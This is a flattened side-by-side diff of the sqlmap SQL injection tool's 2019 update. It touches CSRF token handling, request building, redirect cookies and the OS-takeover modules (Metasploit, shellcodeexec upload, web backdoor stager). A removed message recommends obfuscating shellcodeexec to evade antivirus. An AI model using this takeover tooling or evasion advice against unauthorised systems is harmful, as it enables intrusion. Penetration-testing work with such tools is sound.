token = extractRegexResult(r"(?i)<input[^>]+\bname=[\"']?%s[\"']?[^>]*\bvalue=(?P<result>(\"([^\"]+)|'([^']+)|([^ >]+)))" % re.escape(conf.csrfToken), page or "") match = re.search(r"(?i)<input[^>]+\bname=[\"']?(?P<name>%s)\b[^>]*\bvalue=[\"']?(?P<value>[^>'\"]*)" % conf.csrfToken, page or "", re.I)
if not match:
match = re.search(r"(?i)<input[^>]+\bvalue=[\"']?(?P<value>[^>'\"]*)[\"']?[^>]*\bname=[\"']?(?P<name>%s)\b" % conf.csrfToken, page or "", re.I)
if not match:
match = re.search(r"(?P<name>%s)[\"']:[\"'](?P<value>[^\"']+)" % conf.csrfToken, page or "", re.I)
if not match:
match = re.search(r"\b(?P<name>%s)\s*[:=]\s*(?P<value>\w+)" % conf.csrfToken, str(headers), re.I)
if not match:
match = re.search(r"\b(?P<name>%s)\s*=\s*['\"]?(?P<value>[^;'\"]+)" % conf.csrfToken, page or "", re.I)
if match:
token.name, token.value = match.group("name"), match.group("value")
match = re.search(r"String\.fromCharCode\(([\d+, ]+)\)", token.value)
if match:
token.value = "".join(chr(int(_)) for _ in match.group(1).replace(' ', "").split(','))
if not token: if not token:
token = extractRegexResult(r"(?i)<input[^>]+\bvalue=(?P<result>(\"([^\"]+)|'([^']+)|([^ >]+)))[^>]+\bname=[\"']?%s[\"']?" % re.escape(conf.csrfToken), page or "") if conf.csrfUrl and conf.csrfToken and conf.csrfUrl != conf.url and code == httplib.OK:
if not token:
match = re.search(r"%s[\"']:[\"']([^\"']+)" % re.escape(conf.csrfToken), page or "")
token = match.group(1) if match else None
if not token:
if conf.csrfUrl != conf.url and code == httplib.OK:
if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""): if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""):
token = page token.name = conf.csrfToken
token.value = page
if not token and conf.cj and any(_.name == conf.csrfToken for _ in conf.cj): if not token and conf.cj and any(re.search(conf.csrfToken, _.name, re.I) for _ in conf.cj):
for _ in conf.cj: for _ in conf.cj:
if _.name == conf.csrfToken: if re.search(conf.csrfToken, _.name, re.I):
token = _.value token.name, token.value = _.name, _.value
if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))): if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))):
if post: if post:
post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, conf.csrfToken, token) post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
elif get: elif get:
get = "%s%s%s=%s" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, conf.csrfToken, token) get = "%s%s%s=%s" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
else: else:
get = "%s=%s" % (conf.csrfToken, token) get = "%s=%s" % (token.name, token.value)
break break
if not token: if not token:
errMsg = "anti-CSRF token '%s' can't be found at '%s'" % (conf.csrfToken, conf.csrfUrl or conf.url) errMsg = "anti-CSRF token '%s' can't be found at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url)
if not conf.csrfUrl: if not conf.csrfUrl:
errMsg += ". You can try to rerun by providing " errMsg += ". You can try to rerun by providing "
errMsg += "a valid value for option '--csrf-url'" errMsg += "a valid value for option '--csrf-url'"
raise SqlmapTokenException(errMsg) raise SqlmapTokenException(errMsg)
if token: if token:
token = token.strip("'\"") token.value = token.value.strip("'\"")
for place in (PLACE.GET, PLACE.POST): for place in (PLACE.GET, PLACE.POST):
if place in conf.parameters: if place in conf.parameters:
if place == PLACE.GET and get: if place == PLACE.GET and get:
get = _adjustParameter(get, conf.csrfToken, token) get = _adjustParameter(get, token.name, token.value)
elif place == PLACE.POST and post: elif place == PLACE.POST and post:
post = _adjustParameter(post, conf.csrfToken, token) post = _adjustParameter(post, token.name, token.value)
for i in xrange(len(conf.httpHeaders)): for i in xrange(len(conf.httpHeaders)):
if conf.httpHeaders[i][0].lower() == conf.csrfToken.lower(): if conf.httpHeaders[i][0].lower() == token.name.lower():
conf.httpHeaders[i] = (conf.httpHeaders[i][0], token) conf.httpHeaders[i] = (conf.httpHeaders[i][0], token.value)
if conf.rParam: if conf.rParam:
def _randomizeParameter(paramString, randomParameter): def _randomizeParameter(paramString, randomParameter):
@@ -1113,33 +1147,33 @@ class Connect(object):
if kb.postHint in (POST_HINT.XML, POST_HINT.SOAP): if kb.postHint in (POST_HINT.XML, POST_HINT.SOAP):
if re.search(r"<%s\b" % re.escape(name), post): if re.search(r"<%s\b" % re.escape(name), post):
found = True found = True
post = re.sub(r"(?s)(<%s\b[^>]*>)(.*?)(</%s)" % (re.escape(name), re.escape(name)), "\g<1>%s\g<3>" % value.replace('\\', r'\\'), post) post = re.sub(r"(?s)(<%s\b[^>]*>)(.*?)(</%s)" % (re.escape(name), re.escape(name)), r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
elif re.search(r"\b%s>" % re.escape(name), post): elif re.search(r"\b%s>" % re.escape(name), post):
found = True found = True
post = re.sub(r"(?s)(\b%s>)(.*?)(</[^<]*\b%s>)" % (re.escape(name), re.escape(name)), "\g<1>%s\g<3>" % value.replace('\\', r'\\'), post) post = re.sub(r"(?s)(\b%s>)(.*?)(</[^<]*\b%s>)" % (re.escape(name), re.escape(name)), r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
regex = r"\b(%s)\b([^\w]+)(\w+)" % re.escape(name) regex = r"\b(%s)\b([^\w]+)(\w+)" % re.escape(name)
if not found and re.search(regex, (post or "")): if not found and re.search(regex, (post or "")):
found = True found = True
post = re.sub(regex, "\g<1>\g<2>%s" % value.replace('\\', r'\\'), post) post = re.sub(regex, r"\g<1>\g<2>%s" % value.replace('\\', r'\\'), post)
regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), re.escape(name), re.escape(delimiter)) regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), re.escape(name), re.escape(delimiter))
if not found and re.search(regex, (post or "")): if not found and re.search(regex, (post or "")):
found = True found = True
post = re.sub(regex, "\g<1>%s\g<3>" % value.replace('\\', r'\\'), post) post = re.sub(regex, r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
if re.search(regex, (get or "")): if re.search(regex, (get or "")):
found = True found = True
get = re.sub(regex, "\g<1>%s\g<3>" % value.replace('\\', r'\\'), get) get = re.sub(regex, r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), get)
if re.search(regex, (query or "")): if re.search(regex, (query or "")):
found = True found = True
uri = re.sub(regex.replace(r"\A", r"\?"), "\g<1>%s\g<3>" % value.replace('\\', r'\\'), uri) uri = re.sub(regex.replace(r"\A", r"\?"), r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), uri)
regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), re.escape(name), re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)) regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), re.escape(name), re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER))
if re.search(regex, (cookie or "")): if re.search(regex, (cookie or "")):
found = True found = True
cookie = re.sub(regex, "\g<1>%s\g<3>" % value.replace('\\', r'\\'), cookie) cookie = re.sub(regex, r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), cookie)
if not found: if not found:
if post is not None: if post is not None:
@@ -1170,7 +1204,7 @@ class Connect(object):
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
warnMsg = "[%s] [WARNING] %stime-based comparison requires " % (time.strftime("%X"), "(case) " if kb.responseTimeMode else "") warnMsg = "[%s] [WARNING] %stime-based comparison requires " % (time.strftime("%X"), "(case) " if kb.responseTimeMode else "")
warnMsg += "larger statistical model, please wait" warnMsg += "%s statistical model, please wait" % ("larger" if len(kb.responseTimes) == 1 else "reset of")
dataToStdout(warnMsg) dataToStdout(warnMsg)
while len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES: while len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES:
@@ -1225,14 +1259,17 @@ class Connect(object):
_, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, raise404=raise404, skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ)) _, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, raise404=raise404, skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ))
if headers: if headers:
if kb.nullConnection in (NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ) and headers.get(HTTP_HEADER.CONTENT_LENGTH): try:
pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH]) if kb.nullConnection in (NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ) and headers.get(HTTP_HEADER.CONTENT_LENGTH):
elif kb.nullConnection == NULLCONNECTION.RANGE and headers.get(HTTP_HEADER.CONTENT_RANGE): pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH].split(',')[0])
pageLength = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:]) elif kb.nullConnection == NULLCONNECTION.RANGE and headers.get(HTTP_HEADER.CONTENT_RANGE):
pageLength = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:])
except ValueError:
pass
finally: finally:
kb.pageCompress = popValue() kb.pageCompress = popValue()
if not pageLength: if pageLength is None:
try: try:
page, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare) page, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare)
except MemoryError: except MemoryError:
@@ -1240,11 +1277,20 @@ class Connect(object):
warnMsg = "site returned insanely large response" warnMsg = "site returned insanely large response"
if kb.testMode: if kb.testMode:
warnMsg += " in testing phase. This is a common " warnMsg += " in testing phase. This is a common "
warnMsg += "behavior in custom WAF/IPS/IDS solutions" warnMsg += "behavior in custom WAF/IPS solutions"
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
if conf.secondOrder: if conf.secondUrl:
page, headers, code = Connect.getPage(url=conf.secondOrder, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
elif kb.secondReq and IDS_WAF_CHECK_PAYLOAD not in urllib.unquote(value or ""):
def _(value):
if kb.customInjectionMark in (value or ""):
if payload is None:
value = value.replace(kb.customInjectionMark, "")
else:
value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value)
return value
page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
threadData.lastQueryDuration = calculateDeltaSeconds(start) threadData.lastQueryDuration = calculateDeltaSeconds(start)
threadData.lastPage = page threadData.lastPage = page
@@ -1260,6 +1306,8 @@ class Connect(object):
elif noteResponseTime: elif noteResponseTime:
kb.responseTimes.setdefault(kb.responseTimeMode, []) kb.responseTimes.setdefault(kb.responseTimeMode, [])
kb.responseTimes[kb.responseTimeMode].append(threadData.lastQueryDuration) kb.responseTimes[kb.responseTimeMode].append(threadData.lastQueryDuration)
if len(kb.responseTimes) > MAX_TIME_RESPONSES:
kb.responseTimes = kb.responseTimes[-MAX_TIME_RESPONSES:]
if not response and removeReflection: if not response and removeReflection:
page = removeReflectiveValues(page, payload) page = removeReflectiveValues(page, payload)
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+3 -2
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -12,6 +12,7 @@ import socket
import urllib2 import urllib2
from lib.core.common import getSafeExString from lib.core.common import getSafeExString
from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapConnectionException
@@ -48,7 +49,7 @@ class HTTPSConnection(httplib.HTTPSConnection):
# Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
# https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni # https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and hasattr(ssl, "SSLContext"): if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and not any((conf.proxy, conf.tor)) and hasattr(ssl, "SSLContext"):
for protocol in filter(lambda _: _ >= ssl.PROTOCOL_TLSv1, _protocols): for protocol in filter(lambda _: _ >= ssl.PROTOCOL_TLSv1, _protocols):
try: try:
sock = create_sock() sock = create_sock()
+8 -2
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -33,6 +33,7 @@ from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.data import queries from lib.core.data import queries
from lib.core.decorators import stackedmethod
from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.enums import CHARSET_TYPE from lib.core.enums import CHARSET_TYPE
from lib.core.enums import DBMS from lib.core.enums import DBMS
@@ -76,6 +77,9 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar
value = _goDns(payload, expression) value = _goDns(payload, expression)
if payload is None:
return None
if value is not None: if value is not None:
return value return value
@@ -333,6 +337,7 @@ def _goUnion(expression, unpack=True, dump=False):
return output return output
@stackedmethod
def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True):
""" """
Called each time sqlmap inject a SQL query on the SQL injection Called each time sqlmap inject a SQL query on the SQL injection
@@ -435,7 +440,8 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found: if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found:
kb.responseTimeMode = re.sub(r"(?i)[^a-z]", "", re.sub(r"'[^']+'", "", re.sub(r"(?i)(\w+)\(.+\)", r"\g<1>", expression))) if re.search(r"(?i)SELECT.+FROM", expression) else None match = re.search(r"\bFROM\b ([^ ]+).+ORDER BY ([^ ]+)", expression)
kb.responseTimeMode = "%s|%s" % (match.group(1), match.group(2)) if match else None
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
kb.technique = PAYLOAD.TECHNIQUE.TIME kb.technique = PAYLOAD.TECHNIQUE.TIME
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+10 -3
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -9,6 +9,8 @@ import httplib
import urllib2 import urllib2
from lib.core.data import conf from lib.core.data import conf
from lib.core.common import getSafeExString
from lib.core.exception import SqlmapConnectionException
class HTTPSPKIAuthHandler(urllib2.HTTPSHandler): class HTTPSPKIAuthHandler(urllib2.HTTPSHandler):
def __init__(self, auth_file): def __init__(self, auth_file):
@@ -19,5 +21,10 @@ class HTTPSPKIAuthHandler(urllib2.HTTPSHandler):
return self.do_open(self.getConnection, req) return self.do_open(self.getConnection, req)
def getConnection(self, host, timeout=None): def getConnection(self, host, timeout=None):
# Reference: https://docs.python.org/2/library/ssl.html#ssl.SSLContext.load_cert_chain try:
return httplib.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=conf.timeout) # Reference: https://docs.python.org/2/library/ssl.html#ssl.SSLContext.load_cert_chain
return httplib.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=conf.timeout)
except IOError, ex:
errMsg = "error occurred while using key "
errMsg += "file '%s' ('%s')" % (self.auth_file, getSafeExString(ex))
raise SqlmapConnectionException(errMsg)
+2 -2
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -32,7 +32,7 @@ class HTTPRangeHandler(urllib2.BaseHandler):
urllib2.install_opener(opener) urllib2.install_opener(opener)
# create Request and set Range header # create Request and set Range header
req = urllib2.Request('http://www.python.org/') req = urllib2.Request('https://www.python.org/')
req.header['Range'] = 'bytes=30-50' req.header['Range'] = 'bytes=30-50'
f = urllib2.urlopen(req) f = urllib2.urlopen(req)
""" """
+15 -7
View File
@@ -1,11 +1,10 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import re
import time import time
import types import types
import urllib2 import urllib2
@@ -124,12 +123,21 @@ class SmartRedirectHandler(urllib2.HTTPRedirectHandler):
req.headers[HTTP_HEADER.HOST] = getHostHeader(redurl) req.headers[HTTP_HEADER.HOST] = getHostHeader(redurl)
if headers and HTTP_HEADER.SET_COOKIE in headers: if headers and HTTP_HEADER.SET_COOKIE in headers:
cookies = dict()
delimiter = conf.cookieDel or DEFAULT_COOKIE_DELIMITER delimiter = conf.cookieDel or DEFAULT_COOKIE_DELIMITER
_ = headers[HTTP_HEADER.SET_COOKIE].split(delimiter)[0] last = None
if HTTP_HEADER.COOKIE not in req.headers:
req.headers[HTTP_HEADER.COOKIE] = _ for part in req.headers.get(HTTP_HEADER.COOKIE, "").split(delimiter) + headers.getheaders(HTTP_HEADER.SET_COOKIE):
else: if '=' in part:
req.headers[HTTP_HEADER.COOKIE] = re.sub(r"%s{2,}" % delimiter, delimiter, ("%s%s%s" % (re.sub(r"\b%s=[^%s]*%s?" % (re.escape(_.split('=')[0]), delimiter, delimiter), "", req.headers[HTTP_HEADER.COOKIE]), delimiter, _)).strip(delimiter)) part = part.strip()
key, value = part.split('=', 1)
cookies[key] = value
last = key
elif last:
cookies[last] += "%s%s" % (delimiter, part)
req.headers[HTTP_HEADER.COOKIE] = delimiter.join("%s=%s" % (key, cookies[key]) for key in cookies)
try: try:
result = urllib2.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers) result = urllib2.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers)
except urllib2.HTTPError, e: except urllib2.HTTPError, e:
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -2
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -27,7 +27,6 @@ from lib.takeover.udf import UDF
from lib.takeover.web import Web from lib.takeover.web import Web
from lib.takeover.xp_cmdshell import XP_cmdshell from lib.takeover.xp_cmdshell import XP_cmdshell
class Abstraction(Web, UDF, XP_cmdshell): class Abstraction(Web, UDF, XP_cmdshell):
""" """
This class defines an abstraction layer for OS takeover functionalities This class defines an abstraction layer for OS takeover functionalities
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+5 -21
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -20,7 +20,6 @@ from lib.core.common import dataToStdout
from lib.core.common import Backend from lib.core.common import Backend
from lib.core.common import getLocalIP from lib.core.common import getLocalIP
from lib.core.common import getRemoteIP from lib.core.common import getRemoteIP
from lib.core.common import getUnicode
from lib.core.common import normalizePath from lib.core.common import normalizePath
from lib.core.common import ntToPosixSlashes from lib.core.common import ntToPosixSlashes
from lib.core.common import pollProcess from lib.core.common import pollProcess
@@ -39,7 +38,6 @@ from lib.core.exception import SqlmapGenericException
from lib.core.settings import IS_WIN from lib.core.settings import IS_WIN
from lib.core.settings import METASPLOIT_SESSION_TIMEOUT from lib.core.settings import METASPLOIT_SESSION_TIMEOUT
from lib.core.settings import SHELLCODEEXEC_RANDOM_STRING_MARKER from lib.core.settings import SHELLCODEEXEC_RANDOM_STRING_MARKER
from lib.core.settings import UNICODE_ENCODING
from lib.core.subprocessng import blockingReadFromFD from lib.core.subprocessng import blockingReadFromFD
from lib.core.subprocessng import blockingWriteToFD from lib.core.subprocessng import blockingWriteToFD
from lib.core.subprocessng import Popen as execute from lib.core.subprocessng import Popen as execute
@@ -168,19 +166,8 @@ class Metasploit:
choice = readInput(message, default="%d" % default) choice = readInput(message, default="%d" % default)
if not choice: if not choice or not choice.isdigit() or int(choice) > maxValue or int(choice) < 1:
if lst: choice = default
choice = getUnicode(default, UNICODE_ENCODING)
else:
return default
elif not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
return self._skeletonSelection(msg, lst, maxValue, default)
elif int(choice) > maxValue or int(choice) < 1:
logger.warn("invalid value, it must be a digit between 1 and %d" % maxValue)
return self._skeletonSelection(msg, lst, maxValue, default)
choice = int(choice) choice = int(choice)
@@ -675,13 +662,10 @@ class Metasploit:
written = self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary", forceCheck=True) written = self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary", forceCheck=True)
if written is not True: if written is not True:
errMsg = "there has been a problem uploading shellcodeexec, it " errMsg = "there has been a problem uploading shellcodeexec. It "
errMsg += "looks like the binary file has not been written " errMsg += "looks like the binary file has not been written "
errMsg += "on the database underlying file system or an AV has " errMsg += "on the database underlying file system or an AV has "
errMsg += "flagged it as malicious and removed it. In such a case " errMsg += "flagged it as malicious and removed it"
errMsg += "it is recommended to recompile shellcodeexec with "
errMsg += "slight modification to the source code or pack it "
errMsg += "with an obfuscator software"
logger.error(errMsg) logger.error(errMsg)
return False return False
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+2 -2
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -108,7 +108,7 @@ class UDF:
return output return output
def udfCheckNeeded(self): def udfCheckNeeded(self):
if (not conf.rFile or (conf.rFile and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs: if (not conf.fileRead or (conf.fileRead and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs:
self.sysUdfs.pop("sys_fileread") self.sysUdfs.pop("sys_fileread")
if not conf.osPwn: if not conf.osPwn:
+23 -25
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -43,7 +43,7 @@ from lib.core.enums import HTTP_HEADER
from lib.core.enums import OS from lib.core.enums import OS
from lib.core.enums import PAYLOAD from lib.core.enums import PAYLOAD
from lib.core.enums import PLACE from lib.core.enums import PLACE
from lib.core.enums import WEB_API from lib.core.enums import WEB_PLATFORM
from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapNoneDataException
from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT
from lib.core.settings import EVENTVALIDATION_REGEX from lib.core.settings import EVENTVALIDATION_REGEX
@@ -53,7 +53,6 @@ from lib.core.settings import VIEWSTATE_REGEX
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
from thirdparty.oset.pyoset import oset from thirdparty.oset.pyoset import oset
class Web: class Web:
""" """
This class defines web-oriented OS takeover functionalities for This class defines web-oriented OS takeover functionalities for
@@ -61,7 +60,7 @@ class Web:
""" """
def __init__(self): def __init__(self):
self.webApi = None self.webPlatform = None
self.webBaseUrl = None self.webBaseUrl = None
self.webBackdoorUrl = None self.webBackdoorUrl = None
self.webBackdoorFilePath = None self.webBackdoorFilePath = None
@@ -110,14 +109,14 @@ class Web:
except TypeError: except TypeError:
pass pass
if self.webApi in getPublicTypeMembers(WEB_API, True): if self.webPlatform in getPublicTypeMembers(WEB_PLATFORM, True):
multipartParams = { multipartParams = {
"upload": "1", "upload": "1",
"file": stream, "file": stream,
"uploadDir": directory, "uploadDir": directory,
} }
if self.webApi == WEB_API.ASPX: if self.webPlatform == WEB_PLATFORM.ASPX:
multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION
multipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATE multipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATE
@@ -131,7 +130,7 @@ class Web:
else: else:
return True return True
else: else:
logger.error("sqlmap hasn't got a web backdoor nor a web file stager for %s" % self.webApi) logger.error("sqlmap hasn't got a web backdoor nor a web file stager for %s" % self.webPlatform)
return False return False
def _webFileInject(self, fileContent, fileName, directory): def _webFileInject(self, fileContent, fileName, directory):
